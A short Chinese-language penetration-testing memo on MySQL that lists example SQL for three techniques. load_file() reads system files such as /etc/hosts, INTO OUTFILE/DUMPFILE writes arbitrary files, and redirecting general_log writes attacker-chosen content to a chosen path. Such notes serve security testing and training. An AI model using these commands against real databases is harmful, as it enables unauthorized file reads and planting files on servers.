MySQL渗透备忘录
# MySQL渗透备忘录
# 通过load_file函数读取文件
在 MySQL 数据库中可以使用load_file()
函数读取文件。
-- 示例
select load_file('C:\\Windows\win.ini');
select load_file('/etc/hosts')
1
2
3
2
3
# 通过into函数写入文件
MySQL 数据库可以使用into outfile
或者into dumpfile
语句写入任意文件。要实现该操作,需要满足三个条件:
- 拥有数据库的 root 权限
- 知道系统绝对路径,且该路径具有写入权限
- 两个 into 函数没有被禁用
-- 示例
select '123' into outfile 'C:\\a.txt';
select '456' into dumpfile '/tmp/b.txt'
1
2
3
2
3
# 通过数据库日志写入文件
修改 MySQL 数据库的日志存储路径,然后写入恶意日志。
-- 列出可用的日志选项
show variables like '%log%'
show global variables like '%log%'
-- 开启日志, 并修改日志路径(注意:general_log 字段可以换成其他日志选项)
set global general_log = on;
set global general_log_file = '/tmp/a.txt';
-- 执行查询, 写入内容
select 'abcdefg';
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
......待更新补充
编辑 (opens new window)